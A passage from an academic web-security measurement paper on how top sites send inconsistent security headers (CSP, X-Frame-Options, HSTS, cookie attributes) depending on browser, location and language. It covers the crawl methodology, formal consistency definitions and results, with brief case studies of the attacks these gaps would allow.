to the previously outlined security mechanisms.

4 Data Collection Framework

Here, we discuss which types of factors we investigate to
understand differences in client-side Web security guarantees.
We then outline which information we use to collect data for
each of the factors and we discuss our key design choices.

4.1 Scope of the Study
We assume the use of a modern client implementing all the
security mechanisms in Section 2, e.g., the latest versions of
Chrome and Firefox as of January 1, 2022. We thus exclude
the use of legacy clients, because it is clear that this discour-
aged practice may severely downgrade Web application secu-
rity, e.g., because CSP is not supported by the browser. We
also assume that modern clients correctly implement all the
security mechanisms according to their official specifications,
i.e., if two different clients receive the same security headers,
we assume they enforce the same intended level of protection.
Finding bugs in the implementation of client-side security
mechanisms is an orthogonal issue [32].

We identify three factors which users may legitimately
manipulate as part of their everyday Web browsing experi-
ence, without realizing that they can unintendedly affect Web
application security:

1. User-Agent: users have different tastes and might prefer
different browsers, e.g., due to the privacy policies they
implement by default. Moreover, the same user might
use different browsers on different devices, possibly run-
ning different operating systems. As long as users make
use of a modern, up-to-date browser, they likely do not
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Factor Set of tests Tests

User-Agent Windows client User-Agent header: Chrome 96, Firefox 95, Edge 96, Opera 82
Linux client User-Agent header: Chrome 96, Firefox 95, Opera 82
macOS client User-Agent header: Chrome 96, Firefox 95, Edge 96, Opera 82, Safari 15.2
Android client User-Agent header: Chrome 96, Firefox 95, Opera 96
iOS client User-Agent header: Chrome 96, Firefox 95, Edge 86, Safari 15.2

Vantage Point VPN service Servers from hidemyass.com - 1 per country (218 countries)
Onion network Standard Onion client - 1 end-node per country (49 countries)

Client Configuration Language Accept-Language header: en, es, cn, ru, de

Table 1: Selected client conditions that might influence the received security headers

expect Web application security to be affected, yet it is
possible that a site sets up different configurations based
on the value of the User-Agent header of the incoming
requests for generic reasons. This practice, known as
User-Agent sniffing, might leave some User-Agents un-
protected against specific classes of attacks. Note that we
use the terms browser and User-Agent interchangeably.

2. Vantage Point: users may access a given site from differ-
ent geographical vantage points. Users may not expect
this practice to affect Web application security, yet it is
possible that the geolocation has an impact on dynami-
cally loaded advertisement, which in turn might require
a different server-side configuration of CSP. Further, the
exit nodes of the Onion network are publicly known,
hence a connection through the Onion network might
result in a different response, possibly introducing a dif-
ference in security.

3. Client Configuration: some configuration settings might
influence the way clients interact with Web sites. For
example, the language of the client is normally adver-
tised in the Accept-Language header and the site might
use this information to redirect the client to a localized
homepage served by a different host, possibly with a
different security configuration. We only focus on this
aspect (language) in our analysis for simplicity.

Table 1 identifies for each factor a set of possible tests,
which can be easily simulated in a black-box fashion by a
Web crawler. We identify the respective User-Agent strings for
the browsers in the table via a public online repository [45].

4.2 Challenges and Design Choices
The discussion in the previous section does not directly yield
a dataset construction procedure, due to a couple of problems
we have to deal with. The first is related to the sheer number
of requests to send to each Web site, because it is possible that
security policies are influenced by a combination of multiple
factors. To mitigate this, we only cover a subset of all the
possible combinations by testing different factors in isolation:

1. User-Agent: when testing different User-Agents, we ac-
cess the network through a local machine with a German
IP, and we do not set the Accept-Language header.

2. Vantage Point: when testing different vantage points,

we set the User-Agent header to Chrome 96 for Win-
dows and we do not set the Accept-Language header.
We use hidemyass VPN1 to access the sites from 218
countries and additional 49 different countries through
for the Onion network.

3. Client Configuration: when testing different language
settings, we access the network through a local machine
with a German IP address and we set the User-Agent
header to Chrome 96 for Windows.

This way, we can measure meaningful intra-factor varia-
tions in the level of Web application security, e.g., by estimat-
ing the impact of the choice of a specific User-Agent when
the other two factors are fixed.

The second problem is related to non-determinism, because
the same request does not necessarily always receive the same
response. For example, DNS might resolve the same hostname
to different IP addresses at different times and load balancers
can forward requests for the same resource to different back-
end servers to improve performance. In either case, there is no
guarantee that all the hosts which might process the request
enforce the same security policies. Security inconsistencies
introduced by non-deterministic factors are in the scope of
our study, yet they complicate the attribution of security flaws.
To exemplify the problem, assume that Chrome appears to be
less protected than Firefox because it did not receive any secu-
rity headers at all. In this case, the User-Agent itself may not
be the actual cause of insecurity because non-determinism
may have played a role on the received response, e.g., the
DNS resolution accidentally redirected Chrome to a poorly
configured host. To mitigate this problem, each Web site is
visited multiple times (five in our collection) for each test and
all the corresponding responses are stored, which allows us
to detect non-deterministic security inconsistencies.

Our crawler takes as input a set of Factors, a set of Tests as-
sociated to each factor, a set of URLs to access and a number
of visits n to perform for each test. For each factor f ∈Factors
and each associated test t ∈ Tests[ f ], each u ∈ URLs is visited
n times setting f to t. For the finally reached URL (after po-
tential redirects), we resolve its origin o and save the response
r in the dataset at the entry D[u, t], enriched with the origin o.
We refer to o as the end origin of the response r.

1https://www.hidemyass.com/

USENIX Association 31st USENIX Security Symposium    2051

hidemyass.com
https://www.hidemyass.com/


5 Formalizing Inconsistencies

Before presenting the formal details, we present an overview
of our analysis methodology to explain its design and sub-
tleties. A simple notion of consistent security might be as
follows: all the responses collected from the same URL must
enforce the same security policies. However, this intuitive
definition of consistency is too strong to be useful in practice.

The first point we make is that requiring the same security
policies for all the collected responses is overly restrictive.
As a matter of fact, two security policies can be syntactically
different, yet provide an equivalent level of protection. For ex-
ample, two syntactically different CSPs may both effectively
mitigate the dangers of XSS. As another example, a host may
configure HSTS with tiny fluctuations in the value of the max-
age attribute which do not play any role in terms of practical
security. To abstract from syntactic differences without signif-
icant security implications, we define equivalence relations
∼m for each security mechanism m under study.

A second challenge of our analysis is related to legitimately
different policies we might get for different client characteris-
tics: for example, a Web site which activates CSP for desktop
clients might redirect mobile clients to a static error page
which requires no protection and thus enforces no CSP. We
do not want to consider these cases as security inconsistencies,
because the Web pages are different and legitimately require
a different level of protection. To filter out false positives, we
define compatibility relations ▷◁m for each security mecha-
nism m under study: incompatible responses cannot lead to
security inconsistencies, because m protects different objects.
For the sake of generality, our framework supports different
compatibility relations for different security mechanisms, be-
cause they may be based on different enforcement models,
e.g., CSP operates at the page level, while HSTS operates at
the host level. In our Web measurement, however, we use the
same compatibility definition ▷◁m for each security mecha-
nism m, because we want to be conservative in our findings
and avoid over-reporting (see Section 5.2).

Finally, we observe that not all inconsistencies are equal in
terms of real-world exploitation. Inconsistencies enabled by
non-deterministic factors can be exploited by attackers who
are determined (or lucky) enough to eventually stumble into
them, while inconsistencies enabled by deterministic factors
like the adoption of a specific User-Agent identify weak spots
that knowledgeable attackers can more easily take advantage
of. We discriminate these two cases by having two different
definitions of consistency, as detailed below.

5.1 Consistency

For any security mechanism m, we assume a reflexive and
transitive relation r ≲m r′ reading as: response r configures
m no more securely than response r′. We write r ∼m r′ if and
only if r configures m equivalently to r′, i.e., we have that both

Chrome 96 Firefox 95
H,H,H,H,H H,H,H,H,H
H,H,H,L,H H,H,H,H,H
H,H,H,H,H L,L,L,L,L

Table 2: Example observations upon crawling

r ≲m r′ and r′ ≲m r hold. Finally, we assume reflexive and
symmetric relations r ▷◁m r′ reading as: response r and r′ are
compatible with respect to the security mechanism m. We later
instantiate ≲m and ▷◁m to the different security mechanisms
considered in our study to capture specific security properties.

The first definition we introduce is called intra-test consis-
tency. It requires all compatible responses collected within
the same test to provide an equivalent level of protection. Vi-
olations to this consistency property are likely attributed to
non-deterministic factors, because all the observable client
conditions are the same across the received responses.

Definition 1 (Intra-Test Consistency). The page with URL u
satisfies intra-test consistency for the security mechanism m
within the test t if and only if for all responses r ∈ D[u, t] and
r′ ∈ D[u, t] such that r ▷◁m r′ we have r ∼m r′.

The second definition of consistency which we introduce
is called inter-test consistency. It requires all compatible re-
sponses collected within two different tests (defined for the
same factor) to provide an equivalent level of protection. We
require the two tests to satisfy intra-test consistency to rule
out inconsistencies enabled by non-deterministic factors, e.g.,
occasionally missing headers on responses collected within
the same test. This way, inter-test inconsistencies can be real-
istically attributed to specific client characteristics.

Definition 2 (Inter-Test Consistency). The page with URL u
satisfies inter-test consistency for the security mechanism m
across the tests t, t ′, defined for the same factor and satisfying
intra-test consistency, if and only if for all responses r ∈D[u, t]
and r′ ∈ D[u, t ′] such that r ▷◁m r′ we have r ∼m r′.

We exemplify the definitions at work on a few toy examples.
Let us focus on just two tests for the User-Agent factor for
simplicity: Chrome 96 for Windows and Firefox 95 for Linux.
Assume that pages are visited five times for each test and
may be classified in two security levels: low (L) and high
(H) with L ≲m H. Consider now the example observations in
Table 2, that we assume to be all pairwise compatible. The
first row models a straightforward scenario where both intra-
test consistency and inter-test consistency are satisfied. The
second row models a scenario where intra-test consistency
does not hold, due to the L observation for Chrome, hence
inter-test consistency is undefined: this case captures a non-
deterministic security downgrade. The third row represents
a scenario where intra-test consistency is satisfied, but inter-
test consistency is not: this captures a deterministic security
downgrade occurring when the page is visited using Firefox.
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5.2 Compatibility Relations

Arguably, certain security mechanisms such as CSP are not
applicable to an origin per se, but rather to the content pro-
vided under a given URL. However, not every URL returns
the same content on each load, in particular in the presence of
errors or block pages. For such pages, which might originate
from CDNs like Cloudflare, enforcing the CSP of the original
page might not make sense. Hence, when we encounter an
inconsistency, we need to ensure that this inconsistency is
not due to different content being delivered. We leverage a
similarity score on Web pages for this task.

Page Similarity Based on preliminary analyses of the col-
lected data, our page similarity score takes into account four
factors: first, we rely on JavaScript as a proxy to implement
the pages’ functionality. Therefore we created sets of the
hosts from which scripts are loaded and computed their Jac-
card similarity. By manually investigating the script data that
we got from analyzing our responses, we encountered cases
where the Jaccard similarity of the script hosts was 1, e.g.,
because the page only used inline scripts. Notably, the number
of inline scripts differed significantly; hence, we also consider
the number of scripts for each host as a second factor for
our similarity. However, these first two factors do not work
well for pages that only rely on a few scripts or do not even
use JavaScript on their main page. To lower the impact of
this, we manually investigated those pages, and we observed
that the title of the page often changes in case of errors, e.g.,
showing just domain.com. We, therefore, compute the longest
common substring between the titles of two documents and
compute the ratio of this overlap as our third factor. In addi-
tion to that, we observed that the response size also differed
between error/block pages and pages with content. Thus we
define the content size of the response as our fourth factor
by assigning a value between 0 and 1 (indicating the relative
sizes). We finally combine our factors by computing their
average. The resulting value (between 0 and 1) is then used
to determine the similarity between two pages. We consider
two pages as similar if their similarity score is at least 0.8.

To find the page similarity threshold, we computed the
similarity score of pages where we have seen syntactically
different security headers after normalization (e.g., normaliz-
ing CSP nonces or report URLs). Specifically, for each such
case, we took the largest response as the baseline (under the
assumption that content pages are larger than error pages).
Then, we computed the similarity to this baseline for each of
the other responses. Figure 1 shows the result of this, both as
a histogram (bucket size 0.05), as well as the CDF for the en-
tirety of comparisons. We find that the peak of the histogram
is in the right-most bucket, i.e., similarity above 0.95. In the
CDF, we observe that the similarity for most of the cases in
that bucket is even beyond 0.98. Moreover, the shallow slope
of the CDF around 0.8 leads to taking this value as a candidate

Figure 1: Histogram and CDF of the similarity values for
syntactically different header values.

for a threshold to distinguish between content and error/block
pages. Notably, error or block pages are just one instance of a
potential difference. Our notion generally discerns dissimilar
pages, which could require differing levels of protection, so as
to avoid reasoning about security inconsistencies when these
are in fact legitimate.

To assess the effectiveness of the threshold, we performed
analyses to identify false negatives (similar pages marked
as dissimilar) and false positives (dissimilar pages marked
as similar). To confirm that pages below our threshold are
indeed no content pages, we spawned Chromium instances to
render those pages below the threshold and take screenshots
(after 5s) for further analysis. We then manually looked at
those 1,939 cases: for the very vast majority, the pages were
clearly error pages or block pages showing information about
robot detection / CAPTCHAs. Among the edge cases that
were close to the threshold, we found one site where the
page skeleton looked like the actual content pages for the
domain, but without any content. We confirmed this case as a
true negative, because the page was under the threshold and
seemed different in terms of the content.

Another case that was close to the threshold was a domain
that randomly showed a slightly different page that addition-
ally included items in sale. Therefore their title changed from
Mercado Libre Argentina to Hot Sale 2021, and due to the
additional content, the file size increased, bringing the simi-
larity down to 0.78. Nevertheless, both pages belonged to the
same application and were not empty, error, or block pages,
and hence we consider this case as a false negative. Notably,
we only faced this one false negative in our dataset.

In order to also assess the number of false positives, we
investigated the similarity of pages above the threshold and
below 0.95. For the remaining cases beyond 0.95, we are
confident to have no error pages in there, given the significant
overlap through all four metrics. By looking at those positive
(similar) pages, we have seen one single false positive. This
case had a similarity score of 0.82, although one HTML file
was clearly an error page. This happened due to the error page
also including the scripts from the content page. In addition,
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False Negatives False Positives

1/1,939 (0.05%) 1/93 (1.08%)

Table 3: False positive & false negative rates for similarity

the pages were similar in size, yet different in the title (Hosting
Platform of Choice vs 404 Error | cPanel). Because this is
clearly an error page, we manually removed this error case
from our results. Except for this one case, we could not spot
any false positives in the pages above 0.8.

Our experiments show that the chosen threshold is appro-
priate to reason about inconsistencies, because it might suffer
from occasional false negatives, but produced just one false
positive and one false negative in our experiments (see Ta-
ble 3). This means that we might lose some inconsistencies,
but we are confident not to incorrectly report on inconsisten-
cies where there are, in fact, none (because the content to be
protected is different). We now use this page similarity notion,
to define the following compatibility relations:

Compatibility Given two responses r and r′, we let r ▷◁m r′

if and only if the end origins of r and r′ are the same and,
additionally, the page similarity between r and r′ reaches the
stipulated threshold. Note that we use the same compatibility
relation for each security mechanism m. This may be overly
conservative for host-based security mechanisms like HSTS,
because different pages under the same host may enforce dif-
ferent HSTS policies for the same object (host), hence one
may legitimately disregard page similarity in the compati-
bility relation for HSTS. However, we empirically noticed
that this weaker compatibility notion leads to over-reporting
inconsistencies for HSTS. In particular, for sites hosted by
CDNs, depending on our vantage point or frequency of re-
quests, we received block or CAPTCHA pages. For Cloud-
flare, these lacked HSTS. However, it can be argued that this
has no significant security implications. In particular, if the
site normally uses HSTS, the browser will likely be aware that
communication should be performed over HTTPS and the
lack of the HSTS header does not deactivate HSTS. For this
reason, we prefer to be conservative in our analysis and reuse
the same compatibility relation (with page similarity) for all
the security mechanisms to avoid potential over-reporting.

5.3 Equivalence Relations
We now define the ≲m relations (“no more secure than”) for
the different security mechanisms considered in the paper,
leading to corresponding security equivalence relations ∼m.
These definitions are motivated by the semantics of the secu-
rity mechanisms under study.

Cookie Security Attributes Defining inconsistencies for
cookie security attributes is straightforward, because the

HttpOnly and Secure attributes require no configuration, while
the SameSite attribute has three different configurations with
increasing level of protection: None, Lax, Strict.

We identify cookies with the triple including their name,
Domain and Path, as mandated by the corresponding RFC [3].
Formally, we let r ≲ck r′ if and only if all cookies c occurring
in both r and r′ satisfy the following conditions:

1. If c is marked as HttpOnly in r, then c is marked as
HttpOnly also in r′.

2. If c is marked as Secure in r, then c is marked as Secure
also in r′.

3. If c is marked as SameSite in r, then c is marked as Same-
Site also in r′ with at least the same level of protection,
e.g., if the SameSite attribute of c is set to Lax in r, then
it must be set to Lax or Strict in r′.

Content Security Policy Defining inconsistencies for CSP
is more complicated, since it is an expressive security mecha-
nism, which supports many use cases and can thus be analyzed
from multiple angles. To address this, we build multiple equiv-
alence relations for CSP to cover different use cases [28].

A first use case for CSP is XSS mitigation, which we study
by leveraging a definition of safe CSP for CSP Level 3 [8].
This definition ensures that the CSP puts some meaningful
restrictions against XSS: policies which do not comply with
the definition can be trivially bypassed by an attacker upon
any content injection.

Definition 3 (Safe CSP [8]). A CSP is safe if and only if
it contains a script-src directive (or a default-src directive in
its absence) bound to a value v satisfying both the following
conditions:

1. v does not contain the ’unsafe-inline’ source-expression,
unless nonces or hashes are also present in v.

2. v does not contain the wildcard * or any full scheme from
the following: http:, https:, data:, unless ’strict-dynamic’
is also present in v.

We let r ≲csp−xss r′ if and only if, whenever r sets a safe
CSP, then also r′ sets a safe CSP.

The second use case for CSP is framing control. To define
an equivalence relation for this use case, we divide responses
in four classes based on the enforced framing restrictions:

1. Framing is allowed on all origins.
2. Cross-origin framing is allowed only on selected origins.
3. Only same-origin framing is allowed.
4. Framing is not allowed on any origin.
We then let r ≲csp− f rm r′ if and only if the class of r is less

than or equal to the class of r′.
The last use case for CSP is TLS enforcement. Its equiv-

alence relation is defined by having r ≲csp−tls r′ if and only
if, whenever r activates upgrade-insecure-requests or block-
all-mixed-content, then also r′ does it. In other words, when
r forbids the use of HTTP, then also r′ enforces the same
security restriction.
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X-Frame-Options We just focus on SAMEORIGIN and
DENY as possible values of XFO, since ALLOW-FROM is
unsupported by the modern clients considered in the present
study. This implies that responses can be categorized in just
three different classes:

1. Framing is allowed on all origins.
2. Only same-origin framing is allowed.
3. Framing is not allowed on any origin.
We then let r ≲x f o r′ if and only if the class of r is less than

or equal to the class of r′.

Strict Transport Security Defining inconsistencies for
HSTS requires some care, due to possible differences in the
max-age attribute which arguably have little to no impact in
terms of real-world security. Our choice is discriminating four
classes of responses, as follows:

1. Responses with max-age set to 0, thus forcing HSTS
deactivation for their host.

2. Responses without any HSTS header. These responses
do not activate HSTS, but do not forcibly deactivate it.

3. Responses with max-age enforcing protection for less
than one year. This practice can be useful, but does not
comply with the minimal required duration for inclusion
in the HSTS preload list.

4. Responses with max-age enforcing protection for at least
one year, qualifying the host for preload list inclusion.

We then let r ≲hsts r′ iff all the following conditions hold:
1. The class of r is less than or equal to the class of r′.
2. If r sets the includeSubDomains directive, so does r′.
3. If r sets the preload directive, then also r′ sets it.

Handling Multiple Headers Careful readers may have no-
ticed that the above definitions assume responses to contain at
most one header of each type, yet real-world responses might
violate this assumption because headers can be set multiple
times. Our dataset still contains at most a single header of
each type, because the Requests library used in our data col-
lection folds multiple headers into a single header set to a
comma-separated concatenation of their values. For handling
of multiple headers, we follow specifications where possible:

• If the same cookie (identified by name, Domain and
Path) is set in multiple headers, the last one should be
prioritized [3]. We thus normalize the collected headers
to reflect this behavior within a single header.

• If a response contains multiple CSP headers, all of them
should be enforced at the same time [44]. We thus nor-
malize the collected headers by replacing them with a
single header enforcing the conjunction of all CSPs.

• If a response contains multiple XFO headers, the cor-
rect browser behavior is undefined in the specification.
Since prior research showed that different clients handle
multiple XFO headers quite differently [7], we check for
syntactic differences if multiple values are present.

• If a response contains multiple HSTS headers, the first
one should be prioritized [15]. We thus clean our data to
keep just the first HSTS header.

6 Measuring Inconsistencies

We use the data collection framework in Section 4 to collect
data from live Web sites and apply the formalization in Sec-
tion 5 to measure inconsistencies. The focus of our study is
to understand inconsistencies caused by the servers of highly
ranked sites. To ensure that any data we collect could not be
tainted through network proxies or firewalls, we decided to
only include sites which were served through HTTPS. Specif-
ically, we visited each of the sites in the Tranco list [25]
through https://site.com and https://www.site.com,
disregarding those which were not accessible through HTTPS.
Further, for each final URL, we determined if this was still
under the same eTLD+1 as the originally visited one and not
a localized version, e.g., https://site.eu, so as to avoid
selecting a site which is actually not highly ranked. As a re-
sult, this process yields the list of the 10,000 highest-ranked
sites available over HTTPS.

Based on this methodology, we arrived at the set of top
10,000 HTTPS sites based on the Tranco list of January 1,
20222. We ran our first crawl, on which we report in the
following, from January 2 through January 4, 2022. To en-
sure that our measurement was not merely a single measure-
ment which is not repeatable, we ran three more confirmation
crawls (January 6, 10, and 14, 2022). For each crawl, we col-
lected between 13,626,145 and 13,742,760 responses. While
we focus on the results of the first crawl, the appendix lists the
overlap in findings between the first and the respective follow-
up crawls (Appendix B), which highlights that our results can
be confirmed over multiple crawls within 12 days. To ease
the confirmation and reproducibility of our findings we made
our crawling and analytics pipeline publicly available [10].

In the following, we outline the key results supported by
the analysis of the collected data. We first present a high-level
overview of the findings and then discuss security inconsis-
tencies introduced by different factors, as well as the security
implications of the inconsistencies.

6.1 Overview of the Findings
Usage Statistics To give an overview of the deployed secu-
rity mechanisms in the wild, we computed the number of sites
which activated a specific security mechanism at least once
across our data collection. Table 4 shows the resulting usage
statistics for each of the selected security mechanisms in the
second column. Note that this is an aggregate over all differ-
ent tests, i.e., it combines checks for different User-Agents,
vantage points and languages. In total, 8,174 sites made use

2Available at https://tranco-list.eu/list/XVWN
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Mechanism Usage # Sites w/ intra-test inconsistencies # Sites w/ inter-test inconsistencies # Sites w/ only inter-test inconsistencies
UA Lang. VPN Tor Any UA Lang. VPN Tor Any UA Lang. VPN Tor Any

Content Security Policy 1,998 12 11 31 23 36 15 - 29 18 47 15 - 11 3 28
- for XSS mitigation 360 1 - 1 1 3 9 - 1 1 10 9 - 1 - 10
- for framing control 1,288 6 5 15 9 16 2 - 16 5 20 2 - 9 1 12
- for TLS enforcement 661 7 7 19 14 22 4 - 12 12 17 4 - 1 2 6

X-Frame-Options 5,692 20 18 43 22 50 7 - 29 13 37 7 - 9 5 20

Strict-Transport-Security 4,562 15 13 28 23 38 8 - 23 16 35 8 - 12 5 22
- w/o page similarity - 42 33 148 593 693 19 2 576 218 643 17 2 524 20 552
- preload 920 3 3 6 6 10 - - 9 4 10 - - 6 - 6↰

w/o page similarity - 5 6 20 113 124 1 1 124 48 137 1 1 117 2 119

Cookie Security 3,876 10 9 11 12 16 150 1 13 8 167 149 1 9 2 160
- Secure attribute 2,937 4 4 5 6 8 144 - 8 3 152 144 - 7 1 151
- SameSite attribute 788 5 5 5 6 7 6 1 4 4 14 6 1 2 - 9
- HttpOnly attribute 3,104 1 - 2 2 3 2 - 3 2 6 2 - 2 1 5

Any 8,174 51 44 103 75 127 177 1 82 49 267 174 1 34 12 194

Any (incl. HSTS w/o similarity) 8,174 77 64 222 634 765 188 3 631 252 833 183 3 541 26 429

Table 4: Detected intra-test and inter-test inconsistencies by factor (321 sites in total). We present the numbers with and without
page similarity for HSTS to highlight the impact of this choice on the measurement.

of any of the security mechanisms. The most widely used
mechanism was X-Frame-Options with 5,692 occurrences.
HSTS was used on 4,562 sites, whereas at least one cookie
was configured with any of the security attributes on 3,876
sites. The vast majority of these cases stem from the usage
of HttpOnly or Secure attributes, with only 788 sites making
use of SameSite cookies. The least widely used header was
Content-Security-Policy with 1,998 sites which deployed it.
Notably, the vast majority of sites used CSP for framing con-
trol rather than for its original purpose of XSS mitigation [35].
It is worth noting that for XSS mitigation, we only count those
cases which have a policy that is not trivial to bypass (Defini-
tion 3). Since our definition of inconsistency revolves around
such policies, any site that did not have any meaningful XSS
mitigation is not counted. Note that the number of sites for
the subclasses of CSP and cookie security do not add to the
overall usage, since a site may, e.g., configure a CSP that both
mitigates XSS and enforces TLS.

Detected Inconsistencies In total we detected some incon-
sistency in 321 sites. Table 4 further shows three groups of
columns: intra-test inconsistent, inter-test inconsistent, and
only inter-test inconsistent sites. For the final column group,
we removed all those sites for which we found an intra-test
inconsistency for the given mechanism. This is to ensure that
a site exhibiting a non-deterministic behavior is not acciden-
tally flagged as suffering from inter-test inconsistencies, as
required by our formal definition. Hence, the last column is
a confident lower bound for the number of sites affected by
inter-test inconsistencies. Overall, our crawl detected 127 sites
which have some type of intra-test inconsistency and from
194 to 267 sites with inter-test inconsistencies. Notably, our
confirmation crawls exhibited two interesting phenomena, i.e.,
the instability of intra-test inconsistencies and the stability of

inter-test inconsistencies. Considering the union of all sites
that suffered from intra-test inconsistencies at least once in
our crawls, we found a total of 210 sites (Appendix Table 5).
This likely means that the actual dangers of non-deterministic
intra-test inconsistencies is more severe than what we could
measure through our five observations. Conversely, the confir-
mation crawls showed that the number of sites with inter-test
inconsistencies is stable over time (Appendix Table 6).

6.2 Intra-Test Inconsistencies

Intra-test inconsistencies come with particular security risks,
as an attacker can abuse these to attack users opportunistically.
In the following, we present case studies of intra-test inconsis-
tencies for every mechanism and explain the corresponding
security implications.

Cookie Security If a cookie may non-deterministically lack
the HttpOnly attribute, an attacker could steal the cookie via
malicious JavaScript by performing an XSS attack multiple
times until access to the cookie succeeds. One of the three
sites where we encountered this kind of inconsistency sets its
authentication cookie named authcookie_loggedIn sometimes
with and sometimes without the HttpOnly attribute.

A non-deterministically missing Secure attribute, as it
happened on eight sites, allows a network attacker to
steal the corresponding cookie. One site for example non-
deterministically set their csrfToken cookie as Secure or not.
Thus, attackers can steal this cookie and perform CSRF at-
tacks because they know the anti-CSRF token. A similar issue
happens on another site, for which the Secure attribute is in-
consistently set on the session identifier JSESSIONID, thus
potentially leading to session hijacking.

In seven sites, we found intra-test inconsistent deployments
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of the SameSite attribute, which is sometimes set to Lax and
sometimes missing. This behavior might not be a problem for
modern browsers, because Chromium-based browsers default
to Lax in case of a missing SameSite attribute. However, all
Safari-based browsers still face the problem that cross-site at-
tacks such as CSRF are possible due to this misconfiguration.
One site, for example, sometimes set their ASP.NET_SessionId
cookie with SameSite attribute set to Lax, and sometimes the
SameSite attribute was not set, which enables an attacker to
perform attacks such as CSRF.

Content Security Policy Overall, we found three sites for
which XSS mitigation was enforced non-deterministically.
For example, the responses from one site sometimes did not
have any CSP for clients from Germany or Australia. Thus,
an attacker can succeed by performing the attack multiple
times until one of the responses does not carry a CSP.

For framing control, we found a total of 16 inconsistent
sites across our tests. Note that the majority of inconsisten-
cies were detected in the VPN crawl. This is because, in the
VPN crawl, we test from 218 vantage point (compared to 49
tests for Onion, and 20 and five respectively, for User-Agent
and language), which increases the chances of eventually
getting an inconsistent response. For example, a site non-
deterministically deployed frame-ancestors or not, hence an
attacker can perform the attack multiple times (or load the
target in multiple iframes) until the attack succeeds.

Finally, TLS was inconsistently enforced on 22 sites. For
example, one site in our dataset deploys a CSP that aims to
enforce TLS. However, irrespective of the factors that we
checked, this CSP is not present in some responses. Nowa-
days, Chromium-based browsers auto-upgrade mixed con-
tent [4], whereas Firefox and Safari merely block it. There-
fore, the security implications of missing TLS enforcement
is limited. However, inconsistencies in this feature can lead
to functionality issues. In 2020, Roth et al. [28] showed that
77/251 sites which use CSP for TLS enforcement have HTTP
resources linked from their front page. Thus, these inconsis-
tencies might lead to essential resources being blocked in
Firefox and Safari.

X-Frame-Options The most common intra-test inconsis-
tency for X-Frame-Options was alternating between a de-
ployed header and not deploying XFO at all (41 sites). This
behavior enables an attacker to attempt the attack multiple
times (or load the target in multiple iframes) until it succeeds.
For the other nine cases, the Web applications alternate be-
tween a valid XFO header and a malformed one (e.g. some-
times prepending a : to its XFO header) or one using an
unsupported feature such as ALLOW-FROM. As with omit-
ting the header, an attacker can opportunistically exploit this.

Strict Transport Security Of the 38 sites with intra-test in-
consistencies on HSTS, only six are present in the preload list,
for which the issue has no implication on the client’s security.
For 23 sites the inconsistency is related to headers which are
sometimes entirely omitted. For those not preloaded, this is
problematic since the non-deterministic absence of the header
might prolong the time frame where an attack is possible due
to the trust-on-first-use problem of HSTS.

While inconsistencies for preloaded sites have no direct
impact on a client, they nevertheless pose a threat. In our
dataset seven hosts deploy an HSTS header sometimes with,
sometimes without the preload directive. Here an attacker can
remove the affected site from the HSTS preload list by asking
for removal of the site [27]. If the HSTS preload crawler hits
a case without preload being present in the HSTS header, the
site will be removed without the operator even noticing it.
According to our tests with an author-owned preloaded site,
there seems to be no rate-limiting in place to stop such abuse.

An intra-test inconsistent deployment of the HSTS in-
cludeSubdomains directive can also lead to problems, as
it happened for four sites. For example, a payment service
provider showed this behavior on several islands (e.g., Falk-
land Islands, Antigua and Barbuda, Bahamas, and Bermuda).
Here an attacker could, in case of a lacking includeSubDo-
mains directive, abuse the subdomains to attack the main
domain (e.g., using subdomains to inject cookies into the
top-level domain).

The most critical inconsistency in terms of exploitability is
a host that randomly alternates between enabled and disabled
HSTS, or has multiple enabled and disabled HSTS headers
in random order (only the first entry is processed). Three
sites have this kind of intra-test inconsistency. They, for ex-
ample, alternate between max-age=0, max-age=15768001
and max-age=15768001. Since the HSTS specification man-
dates adhering to the first observed HSTS header, the first
case always deactivates HSTS. Similarly, one site non-
deterministically disabled HSTS in certain (mostly eastern
Europe) countries such as Lithuania, Moldova, Romania, and
Ukraine. In both cases, an attacker could perform the attack
several times until it succeeds because HSTS has been dis-
abled in the last response. We also identified one site that
alternate between a short max-age (<= 5 min) and a properly
configured header. In those cases, the site allows an attacker to
abuse the HSTS TOFU problem at a higher frequency because
if the last HSTS header received was a short one, the next
visit after a short time period (e.g., 5 min) will be vulnerable
again, because the browser no longer enforces TLS.

Reasons for Intra-Test Inconsistencies In order to find the
cause behind the intra-test inconsistencies, we took a closer
look into the gathered data from the responses, such as peer IP
addresses or cache headers. Here we noticed that indeed some
of the different response headers were caused by caching,
because all misconfigured header values also had a differ-
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ent cache-control header (18 sites) or a different x-cache
header (five sites). For two sites, our data indicate that de-
pending on the geolocation, we were redirected to a different
end URL (under the same origin), which then causes the in-
consistency. In the case of five sites, we were also able to
attribute the inconsistency to certain peer IP addresses, which
indicates that misconfigured origin servers might be the un-
derlying problem. This hypothesis is also supported by one
answer from the notification campaign, which indicates that
“one of the origin servers seems to be configured differently”.
However, here we observed that this inconsistency does not
depend on the peer IP address, which indicated that what we
see as the peer IP might only be a load balancer, sending our
request to different origin servers on a back channel. Notably,
the probability of getting a different origin server is much
higher in the case of different geolocations. This, together
with the fact that the number of crawls for VPN and onion are
much higher than in the case of user-agent and language set-
tings, explains the comparatively higher number of intra-test
inconsistencies.

One inconsistency that is standing out, due to its prevalence
in our dataset, was the inconsistent setting of SameSite for
the ASP.NET_SessionId cookie. According to Microsoft, the
framework does not support “.NET versions lower than 4.7.2
for writing the same-site cookie attribute”[23]. Thus, if some
of the origin servers have a new version of .NET while others
still use the old version, the cookie would show exactly the
behavior we observed, which is why we believe this to be a
contributing factor.

6.3 Inter-Test Inconsistencies

This section sheds light on the inter-test inconsistencies, i.e.,
for a single deterministic factor such as the User-Agent, our
crawls revealed different security guarantees (see middle col-
umn of Table 4).

Cookie Security The vast majority of sites (144/150) that
have inter-test inconsistencies for cookie security are those
that deterministically gave back cookies without the Secure
attribute to some User-Agents. Notably, the cause of this
inconsistency is in most cases (130), special handling for the
User-Agent for Firefox on iOS. For example, one site set their
sid cookie Secure for all clients except Firefox on iOS, leaving
those clients unprotected against network attackers. Other
sites gave non-Secure cookies to a group of User-Agents that
visited their page, another site for Safari-based clients, one
for mobile clients, and another one for all iOS clients.

Two sites inconsistently deployed HttpOnly cookies for
their clients. In one case, a site delivered CM_SESSIONID
without HttpOnly attribute to clients that use Firefox on iOS.
In another case a site only gave out HttpOnly cookies to
non-Safari-based clients. In both cases, attackers can steal or

manipulate cookies via an XSS attack and eventually perform
state-changing actions on behalf of the user.

For inconsistencies of the SameSite attribute, we found 14
cases where sites either send cookies with the attribute or
do not set it at all. One site, for example, only gives Same-
Site cookies if the Accept-Language header of the client is
not set to English. As mentioned in the intra-test inconsis-
